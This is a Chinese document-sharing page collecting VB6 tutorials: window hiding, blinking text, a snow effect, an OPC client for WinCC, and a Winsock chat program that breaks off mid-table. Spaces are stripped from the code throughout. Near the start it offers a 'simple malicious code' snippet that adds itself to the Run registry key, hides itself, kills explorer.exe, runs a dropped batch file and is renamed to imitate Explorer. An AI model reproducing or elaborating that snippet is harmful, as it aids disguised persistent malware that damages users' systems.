vb设计.docx
- 文档编号:27464019
- 上传时间:2023-07-01
- 格式:DOCX
- 页数:27
- 大小:30.90KB
vb设计.docx
《vb设计.docx》由会员分享,可在线阅读,更多相关《vb设计.docx(27页珍藏版)》请在冰豆网上搜索。
vb设计
第1种-关闭后到像迅雷一样隐藏
PrivateSubForm_Queryunload(CancelAsInteger,unloadmodeAsInteger)
Cancel=True
Me.Hide
EndSub
_____________________________
第2种-直接隐藏
Form1.Visible=False
_____________________________
第3种-在任务管理器应用程序中隐藏
App.TaskVisible=False
_____________________________
于是就可以编写一个简单的恶意代码
PrivateSubForm_Load
Setw=CreateObject("wscript.shell")
w.regwrite"HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun"&App.EXEName,App.Path&""&App.EXEName&".exe" '导入注册表,实现开机自动运行
Form1.Visible=False
App.Taskvisible=False
Shell"taskkill/f/imexplorer.exe",vbHide '结束explorer.exe进程
Open"c:
windows$$$.bat"forAppendAs#1
Print#1,"@echooff"
Print#1,"echo恭喜你中毒"
Print#1,"echo.&pause"
close#1
x=shell("c:
windows$$$.bat")
....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
EndSub
如何用VB在窗体中实现闪烁文字。
闪烁的文字可以在屏幕上起到明显的提示作用。
通过使用VB的Timer控件,程序员可以轻松的在窗体上实现闪烁文字的效果。
本文将演示如何为Label控件加上闪烁效果,这种方法同样适用于其它多种控件。
当你在窗体上加入Timer控件时,它只出现在设计时,而不会在运行时出现可见的控件图标。
Timer控件带有两个重要的参数。
Interval(间隔)属性用来确定Timer控件多久触发一次,其单位为毫秒,因此当该值为500时,就表示一秒钟会触发两次。
Enabled(使能)属性用来确定Timer控件是运行(Enabled=True)还是停止(Enabled=False)状态。
实际的闪烁是在Timer事件中完成的,Timer控件每次触发,程序都会调用Timer事件。
我们可以将Label控件的ForeColor属性设置为黑色(可见)以及和BackColor属性一致的颜色(文字和背景色一致,相当于不可见)。
以下代码可以完成检验ForeColor属性的任务:
PrivateSubTimer1_Timer()
IfLabel1.ForeColor=Label1.BackColorThen
Label1.ForeColor=vbBlack
Else
Label1.ForeColor=Label1.BackColor
EndIf
EndSub
另外,你也可以让文字采用不同的颜色,比如交替采用红色和绿色:
PrivateSubTimer1_Timer()
IfLabel1.ForeColor=vbRedThen
Label1.ForeColor=vbGreen
Else
Label1.ForeColor=vbRed
EndIf
EndSub
当你停止文字闪烁时,还要确定文字的状态是可见的并且采用了合适的色彩。
要完成这个功能,你需要在停止闪烁时加入以下代码设置ForeColor属性:
Timer1.Enabled=False
Label1.ForeColor=vbBlack
本文详细介绍用VB制作下雪的特技景象
对于下雪的景象大家可能都不陌生,我们还是用VB来制作一个下雪的景象吧。
其实制作这样一个下雪的景象并不复杂,它的原理是首先在底色为黑色的屏幕上随机画出许多白点(雪花),然后使这些雪花不断地向下移动(重画),反复循环,就成功地模拟了下雪的景象。
下面是这个小程序,你可以修改其中的一些数据调整雪花的密度和雪花落下的快慢。
双击窗体写如下代码:
DimSnow(1000,2),AmountyAsInteger
PrivateSubForm_Load()
Form1.Show
DoEvents
Randomize
Amounty=325
ForJ=1ToAmounty
Snow(J,0)=Int(Rnd*Form1.Width)
Snow(J,1)=Int(Rnd*Form1.Height)
Snow(J,2)=10+(Rnd*20)
NextJ
DoWhileNot(DoEvents=0)
ForLS=1To10
ForI=1ToAmounty
OldX=Snow(I,0):
OldY=Snow(I,1)
Snow(I,1)=Snow(I,1)+Snow(I,2)
IfSnow(I,1)>Form1.HeightThen
Snow(I,1)=0:
Snow(I,2)=5+(Rnd*30)
Snow(I,0)=Int(Rnd*Form1.Width)
OldX=0:
OldY=0
EndIf
Coloury=8*(Snow(I,2)-10):
Coloury=60+Coloury
PSet(OldX,OldY),QBColor(0)
PSet(Snow(I,0),Snow(I,1)),RGB(Coloury,Coloury,Coloury)
NextI
NextLS
Loop
End
EndSub
编写窗体的鼠标按下代码:
PrivateSubForm_MouseDown(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)
unloadme
EndSub
运行上面的小程序,就可以看到漫天的雪花在缓缓落下,地面上还会有积雪!
鼠标单击可结束程序。
用VB编写OPC客户端访问WINCC。
OPC是一个工业标准,它是由一些世界上著名的自动化系统和硬件、软件公司和Microsoft(微软)紧密合作而建立的。
〔O代表OLE(对象链接和嵌入),P(process过程),C(control控制)。
OLE已从面向对象重新定义为基于对象并更名为ActiveX〕。
WinCC是西门子公司在自动化领域采用最先进的技术与微软公司在共同开发的居于世界领先地位的工控软件。
WinCC即WINDOWSCONTROLCENTER(视窗控制中心)。
WinCC是一个功能强大的全面开放的监控系统,既可以用来完成小规模的简单的过程监控应用,也可以用来完成复杂的应用。
在任何情况下WinCC都可以生成漂亮而便捷的人机对话接口,使操作员能够清晰地管理和优化生产过程。
它集成的OPC(OLEforprocesscontrol)服务器使得过程数据可由其它应用程序(OPC客户机)访问。
WinCC在安装时提供了OPC的客户端控件:
SiemensOPCDAAutomation2.0(SOPCDAAuto.dll),这个控件就是我们在VB中要用到的控件,我们也可以使用通用的OPC客户端控件:
OPCAutomation2.0.
在WINCC的帮助中,有SiemensOPCDAAutomation2.0使用的简略帮助,但说得不很详细,我在使用中碰到不少问题,现一并写出来,与大家共享。
一、OPC的连接
先在“引用”将近SiemensOPCDAAutomation2.0加入,然后开始定义全局变量。
在本程序中,我使用了两个OPC组进行OPC访问,所以定义了全局变量。
我们要首先定义OPC服务类型与计算机结点名。
定义OPC组与OPC标签组。
并定义OPC的标签数组与值数,注意,值数组一定要设为Variant。
'OPC处理:
只对WINCC
ConstServerName="OPCServer.WinCC" ‘OPC的类型
ConstNodeName="GUK" ‘结点名,即计算机名
‘DimNodeNameAsString
DimWithEventsMyOPCServerAsOPCServer ‘OPC服务
DimMyOPCGroupCollAsOPCGroups
DimWithEventsMyOPCGroupOutAsOPCGroup ‘OPC组,本程序用两个组进行OPC连接
DimWithEventsMyOPCGroupInAsOPCGroup
DimMyOPCItemCollInAsOPCItems ‘OPC标签组
DimMyOPCItemCollOutAsOPCItems
DimServerHandlesIn()AsLong ‘句柄
DimServerHandlesOut()AsLong
DimErrorsIn()AsLong ‘错误句柄
DimErrorsOut()AsLong
DimWatchDataReadItem(100)AsString '记录OPC的标签
DimWatchDataReadValue(100)AsVariant '存放OPC的值
DimWatchDataWriteItem(100)AsString '记录OPC的标签
DimWatchDataWriteValue(100)AsVariant '存放OPC的值
用VB编写OPC客户端访问WINCC。
在定义所有变量后,我们就要进行OPC连接了,要进行OPC连接之前,先要配置要访问的OPC标签名,我们WatchDataReadItem、WatchDataWriteItem中加入相应的标签名,注意:
这两个数组必须由1开始,不能由0开始。
配置好标签后就要进行OPC连接了。
如下面子程序:
1、 ClientHandles1先配置名柄索引,这将在读取OPC标签的值时可要用到
2、 生成OPC对象
3、 进行OPC标签连接
至此:
OPC连接就成功了,我们可以对OPC进行读与写的操作了。
'---------------------------------------------------------------------
'SubStartClient()
'目的:
连接至OPC_server,创建组和添加条目
'---------------------------------------------------------------------
PrivateSubStartClient()
DimItemNumAsInteger
DimTarnscationIDAsLong
DimCanceIDAsLong
DimClientHandles1(100)AsLong
DimiiAsInteger
OnErrorGoToHANDLEeRROR
Forii=0To100
ClientHandles1(ii)=ii 先配置名柄索引,这将在读取OPC标签的值时可要用到
Nextii
TarnscationID=1
‘ NodeName=xProfile.GetValue("SYSTEM","NodeName")
‘生成OPC对象,
SetMyOPCServer=NewOPCServer
MyOPCServer.ConnectServerName,NodeName
SetMyOPCGroupColl=MyOPCServer.OPCGroups
MyOPCGroupColl.DefaultGroupIsActive=True
SetMyOPCGroupIn=MyOPCGroupColl.Add("MYGROUPIN")
SetMyOPCGroupOut=MyOPCGroupColl.Add("MYGROUPOUT")
SetMyOPCItemCollIn=MyOPCGroupIn.OPCItems
SetMyOPCItemCollOut=MyOPCGroupOut.OPCItems
‘进行OPC标签连接
IfWriteItemIdex>0Then
MyOPCItemCollOut.AddItemsWriteItemIdex,WatchDataWriteItem,ClientHandles1,ServerHandlesOut,ErrorsOut '初始化OCP连接
MyOPCGroupOut.IsSubscribed=True
EndIf
IfReadItemIdex>0Then
MyOPCItemCollIn.AddItemsReadItemIdex,WatchDataReadItem,ClientHandles1,ServerHandlesIn,ErrorsIn '初始化OCP连接
MyOPCGroupIn.IsSubscribed=True
EndIf
ExitSub
HANDLEeRROR:
needOPCRestart=True
xLog1.log"OPCl连接发生错误"
EndSub
二、OPC的标签读写
对OPC标签的读可以通过MyOPCGroupIn组与MyOPCGroupOut的DataChange事件来读取。
该事件有多个参数:
其中NumItems是指标签改变值的个数,ClientHandles是改变值的标签索引,ItemValues为改变值的数据,具体的意思是ClientHandles
(1)的值是其对应的标签数组的索引,其所指的OPC标签的值在ItemValues
(1)中。
一般来说,刚连接上时,该事件会把全部所要求访问的OPC标签值全部读取过来(顺序不一,要通过ClientHandles索引),此后只有数据发生变化时才会触发该事件。
也只会传输发生了变化的数据,没有变化的数据不会出现在本事件的ItemValues中。
PrivateSubMyOPCGroupOut_DataChange(ByValTransactionIDAsLong,ByValNumItemsAsLong,ClientHandles()AsLong,ItemValues()AsVariant,Qualities()AsLong,TimeStamps()AsDate)
'产生要通知下一级的数据变化,根椐不再的控件有不同的处理
Forii=1ToNumItems
WatchDataWriteValue(ClientHandles(ii)-1)=ItemValues(ii)'对改变的值读入本数组
Nextii
EndSub
对OPC的写可以有同步与异步之分,对于大量的数据传输,异步是更佳的选择,但对少量的数据传输,同步表现得更好。
要进行数据传输,先要将值数据进行赋值,注意:
值数据要由0开始,也就是说,值数组与标签数据不是一、一对应,值要比标签前一位,这一点,在WINCC说明中没有,但在我的实际的使用中一直要这样,不然数据就产生错位,看下面程序。
这是一个拔号完毕后返回的数据进行OPC传递的程序。
包含解包过程,
PrivateSubshowSuccess(msgAsString)
DimlocationAsString
DimnowTimeAsString
DimlogStrAsString
DimValue()AsString
Dimii,tempAsInteger
DimisPackAsBoolean
DimsHead,sDelimited,sTailAsString
location=xProfile.GetValue(WatchPoint(nowRunID),"LOCATION")
nowTime=Now
logStr="拔"&location&"取数成功"&msg
xLog1.loglogStr
logStr=""&msg
xLog2.loglogStr '记录数据
'数据上传
'如果有包结构,则显示包结构,
isPack=xProfile.GetValue(WatchPoint(nowRunID),"ISRECHEAD")
IfWatchPointRBegin(nowRunID)<0ThenExitSub
IfisPackThen
sHead=xProfile.GetValue(WatchPoint(nowRunID),"RECHEAD")
sDelimited=xProfile.GetValue(WatchPoint(nowRunID),"RECDELIMITER")
sTail=xProfile.GetValue(WatchPoint(nowRunID),"RECEND")
Value=Split(msg,sDelimited)
Forii=0ToUBound(Value)-1
temp=WatchPointRBegin(nowRunID)+ii
Iftemp>WatchPointREnd(nowRunID)ThenExitFor
WatchDataReadValue(temp-1)=Value(ii+1) 'VALUE要从0开始,比ITEM少1,所以减一。
有包头,占去一位,向后延一
Nextii
Else
WatchDataReadValue(WatchPointREnd(nowRunID)-1)=msg
EndIf
MyOPCGroupIn.SyncWriteReadItemIdex,ServerHandlesIn,WatchDataReadValue,ErrorsIn '数据上传
'记录上次成功执行的时间
xProfile.SetValueWatchPoint(nowRunID),"LASTTIME",nowTime
EndSub
三、OPC连接断开
OPC客户端连接后要占用服务器资源,所以如果不需要使用OPC时,必须进行OPC连接断开。
断开的程序相当简单,释放资源即可。
如下,
SubStopClient()
OnErrorResumeNext
'释放组和服务器对象
MyOPCGroupColl.RemoveAll
'与服务器断开连接并且清除
MyOPCServer.Disconnect
SetMyOPCItemCollIn=Nothing
SetMyOPCItemCollOut=Nothing
SetMyOPCGroupIn=Nothing
SetMyOPCGroupOut=Nothing
SetMyOPCGroupColl=Nothing
SetMyOPCServer=Nothing
EndSub
但在实际的使用中发现,频繁的连接与断开,将使服务器的资源被大量的消耗,最终让服务器出错。
所以尽量减少无谓的OPC连接与断开。
四、结语
OPC的使用是作为一个DCOM在使用,所以OPC客户端可以网络上任一计算机运行,但你必须配置DCOM的访问权限,如果你不想费神,把服务器与客户端都用相同的用户名与密码登录就成了。
如果想配置DCOM,请参看DCOM的配置。
用VB实现聊天讨论室和点对点会话。
在一个单位内部或通过广域协议(如X.25)互联的行业内部都有几十或上万台计算机互联,用Intranet虽然可以建立聊天室,但实现点对点实时对话却比较困难。
本人用Winsock和VB自制了一套聊天室和对话系统,特拿来供同行们参考。
一、Winsock的主要属性、事件和方法
Winsock是不可见控件,控件文件名是MSWINSCK.OCX,全称为Mcirosoftwinsockcontrol,使用时要将此控件调入工具箱。
1、属性:
①Protocol=0//使用TCP协议;
②RemoteHost//准备连接远程机的IP地址
③RemotePort//连接远程机的IP端口号(1024—65535之间)
④LocalPort//本地机监听IP端口号必须与呼叫机端口号相同
2、方法:
①connect//申请连接远程机
②listen//设置监听
③accept//建立实际连接
④senddata//发送数据
⑤getdata//接收数据
⑥close//关闭连接
3、事件:
①connectionrequest//一方请求连接时另一方产生
②connect//一方机接受连接时另一方产生
③close//一方机关闭连接时另一方产生
④dataArrival//一方发送数据另一方产生
⑤error//请求连接失败时产生
二、制作方法
1、在一工程中添加两个表单form1(模拟客户端)、form2(模拟服务器端)。
(1)form1中装入控件:
控件名 主要属性 用途
VB.Formform1
captio
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- vb 设计
![提示](https://static.bdocx.com/images/bang_tan.gif)